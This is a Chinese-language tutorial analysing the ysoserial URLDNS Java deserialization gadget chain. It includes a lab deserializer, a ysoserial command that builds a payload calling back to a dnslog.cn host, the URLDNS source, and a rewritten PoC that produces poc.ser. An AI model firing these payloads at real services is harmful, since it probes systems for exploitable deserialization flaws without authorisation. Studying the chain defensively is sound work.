0x01 前言
URLDNS 是 ysoserial 中最适合入门反序列化的一条利用链了
它的使用非常广,常常用于判断是否存在反序列化漏洞时使⽤
以下为该链的优点
java版本: java version “1.8.0_271” Java(TM) SE Runtime Environment (build 1.8.0_271-b09) Java HotSpot(TM) 64-Bit Server VM (build 25.271-b09, mixed mode)
如果懒的创建环境的话,也可以通过github下载该环境如下:<br />[https://github.com/pmiaowu/DeserializationTest](https://github.com/pmiaowu/DeserializationTest)
如果想自己一点点安装环境的话,那就按照下面的教程走一遍即可<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/297422/1636010275182-6f976853-bf10-48e4-a732-0551d9793581.png#clientId=u8c0346cb-65b5-4&from=paste&height=477&id=u25d59f41&margin=%5Bobject%20Object%5D&name=image.png&originHeight=954&originWidth=932&originalType=binary&ratio=1&size=80530&status=done&style=none&taskId=u5d341ae6-fa4d-4ad6-aac8-552a712dd54&width=466)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/297422/1636010303778-d5d79a2a-7448-4d25-830c-cd3ede7f4665.png#clientId=u8c0346cb-65b5-4&from=paste&height=674&id=u89feb534&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1348&originWidth=2528&originalType=binary&ratio=1&size=445206&status=done&style=none&taskId=u57523c99-15bf-452b-86fc-172e4e93ec6&width=1264)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/297422/1636010343688-16ea7c87-c535-4eb1-aecb-5a5413b273c1.png#clientId=u8c0346cb-65b5-4&from=paste&height=674&id=u9f8c40ed&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1348&originWidth=2528&originalType=binary&ratio=1&size=135226&status=done&style=none&taskId=uf3fb7068-2279-4fc1-87c2-c343e1766e6&width=1264)
```java
// 项目创建完毕以后在: /DeserializationTest/src/main/java/
// 创建这么一个 Test.java文件
// Test.java 代码
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class Test {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("poc.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
System.out.println("执行完毕");
}
}
0x03 ysoserial攻击链测试
先打开 http://dnslog.cn/ 获取个临时域名进行测试
例如获取的临时域名为: gcy9z8.dnslog.cn
// 执行命令生成poc
java -jar ysoserial-0.0.5-all.jar URLDNS "http://123.gcy9z8.dnslog.cn" > ./DeserializationTest/poc.ser
// 执行完毕以后 DeserializationTest目录下面会生成 poc.ser
接着就去运行 Test 方法,进行攻击测试
这就是这条攻击链会造成的效果,了解了功能,那么后面就可以开始了解原理了
0x04 攻击链分析
0x04.1 payload文件介绍
首先打开并进入 ysoserial 项目
找到 /ysoserial-0.0.5/src/main/java/ysoserial/payloads/URLDNS.java 这个文件
看看 ysoserial 是如何生成URLDNS利用链的
代码如下:
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
* <p>
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
* <p>
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
* <p>
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
* <p>
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies()
@Authors({Authors.GEBL})
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
0x04.2 利用链过程
ysoserial 源码的注释中给出了利用链的过程如下:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
0x04.3 利用链跟踪
ps: ysoserial项目每个反序列化的利用类里面的getObject方法都是获取Payload的
因此getObject方法可以看成是ysoserial项目获取Payload的入口点
我们这里就跟着 ysoserial 给的poc一步步调试
首先查看 URLDNS类的 getObject方法, ysoserial会调⽤这个方法获得Payload
这个方法最后面返回的是一个Object,而这个Object就是HashMap,同时也是最后被序列列化并且返回的对象
0x04.3.1 第一步 HashMap.readObject()
接着就开始正式分析,ysoserial项目给出的路径第一步是 HashMap.readObject()
说明漏洞入口点就是 HashMap类的readObject()方法,我们跟进去
跟进去HashMap类以后,搜索readObject方法
/**
* Reconstitutes this map from a stream (that is, deserializes it).
* @param s the stream
* @throws ClassNotFoundException if the class of a serialized object
* could not be found
* @throws IOException if an I/O error occurs
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
接着查看ysoserial项目给出的路径
0x04.3.2 第二步 HashMap.putVal()
第二步是 HashMap.putVal() 跟进去
因此进入以后在上面代码的第48行的位置可以看到调用了hash()方法
可以看到这里将 HashMap的键名计算了hash,代码如下:
putVal(hash(key), key, value, false, false);
0x04.3.3 第三步 HashMap.hash()
接着跟进去第三步是 HashMap.hash()
很明显的看得到hash方法调用了hashCode()方法,如下代码:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
0x04.3.4 第三步 断点调试 hash() 方法
接着分别对下面这两个地方打上断点,方便我们跟进去hash()方法进行调试,看看最终这个key是啥子
注意: 打上两个断点的原因是为了可以更快更准确的进入到 HashMap.readObject() 类,调用的 hash() 方法
这两个断点打上以后就可以进入下一步了
输入对应的值,准备进行断点调试,如下图:
启动调试以后,你会发现并没有走到我们想要的逻辑中
这是因为还没到反序列化点呢,点击一下那个红色圆圈,如下图:
先取消打勾,因为有大量的无关的类调用了hash()所以为了不影响我们debug,先关闭,如下图:
接着按照下图进行操作:
重新点击一下那个红色圆圈,如下图:
按下图操作,即可进入到HashMap.readObject() 类,调用的 hash() 方法,详情
0x04.3.5 第三步 断点调试结论
ysoserial项目中的URLDNS类传给HashMap.hash()的方法的key的是一个 java.net.URL对象
所以最终触发的就是URL类的hashCode()方法
0x04.3.6 第三步 hash() 方法赋值说明
ysoserial项目中的URLDNS类选择使用HashMap().put()方法进行赋值
这个赋值方法不是固定的,你要是喜欢的话,还可以使用 HashMap().putIfAbsent()方法进行赋值
只要它最终会调用putVal(hash(key), key, value, xxxx, xxxx);
即可
后面重写poc的话,我会使用HashMap().putIfAbsent()进行演示的
接着继续查看ysoserial项目给出的路径
0x04.3.7 第四步 URL.hashCode()
第四步 URL.hashCode() 说是这里触发的
而我们一路跟进来的话,很明显也是URL.hashCode()触发的
因此打开 java/net/URL.java 这个类,查找hashCode()方法
直接跟进去这个 handler.hashCode(this)
然后看到调用了 getHostAddress()
方法,继续跟进
这里的InetAddress.getByName(host)
会根据host头去获取IP地址,在网络上就是发了一次DNS查询,后面的就不需要在跟了,因为都是正常业务
0x04.4 利用链过程(完整)
我们重新理一下整个URLDNS
的链,你会发现很清晰简单(这是最最最简单的链了)
- HashMap->readObject()
- HashMap->putVal() 这个方法实际上不能算链里面,但是它调用了hash()方法所以我列了进来
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
从反序列化开始的readObject()方法到最后面触发getByName(),只经过了七个方法的调用,这对比java其它的链简直不要太少
我们在看ysoserial项目的URLDNS的类利用时,会发现ysoserial项目调用了一个SilentURLStreamHandler
类
SilentURLStreamHandler
类继承了URLStreamHandler
类
并重写了openConnection()
和getHostAddress()
方法
注意哦: 这不是必须的!!!!这是因为ysoserial项目防止在生成Payload的时候也执行了URL请求与DNS查询而特地写的一个类
0x05 重写poc
// 路径: /DeserializationTest/src/main/java
// 文件名称: URLDNSTest.java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNSTest {
public static void main(String[] args) throws Exception {
// 原版的
poc1();
// 随便换了点东西的
// 注意: 这个方法在jdk1.8或以上才能正常使用
// poc2();
}
public static void poc1() throws Exception {
HashMap<URL, String> obj = new HashMap<URL, String>();
String url = "http://test123.wbqgs9.dnslog.cn";
URL u = new URL(url);
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
// 设一个这个值,这样去put的时候就不会去查DNS
field.set(u, 0xdeadbeef);
// 这个test可以随便改
obj.put(u, "test");
// 一定要设置这个URL对象的hashCode为初始值-1,这样反序列列化时才会重新计算
// 才会调用URL->hashCode()
field.set(u, -1);
// 序列化
FileOutputStream fileOut = new FileOutputStream("./poc.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
}
// public static void poc2() throws Exception {
// HashMap<URL, String> obj = new HashMap<URL, String>();
//
// String url = "http://123test.wbqgs9.dnslog.cn";
// URL u = new URL(url);
//
// Class clazz = Class.forName("java.net.URL");
// Field field = clazz.getDeclaredField("hashCode");
// field.setAccessible(true);
//
// // 设一个这个值,这样去putIfAbsent的时候就不会去查DNS
// field.set(u, 0xdeadbeef);
//
// // 这个test可以随便改
// // 最稳的还是put方法
// // 注意: 这个方法在jdk1.8或以上才有
// // 使用这个方法只是单纯的扩展一下说明,一个链不一定就是一成不变的
// obj.putIfAbsent(u, "test");
//
// // 一定要设置这个URL对象的hashCode为初始值-1,这样反序列列化时才会重新计算
// // 才会调用URL->hashCode()
// field.set(u, -1);
//
// // 序列化
// FileOutputStream fileOut = new FileOutputStream("./poc.ser");
// ObjectOutputStream out = new ObjectOutputStream(fileOut);
// out.writeObject(obj);
// out.close();
// fileOut.close();
// }
}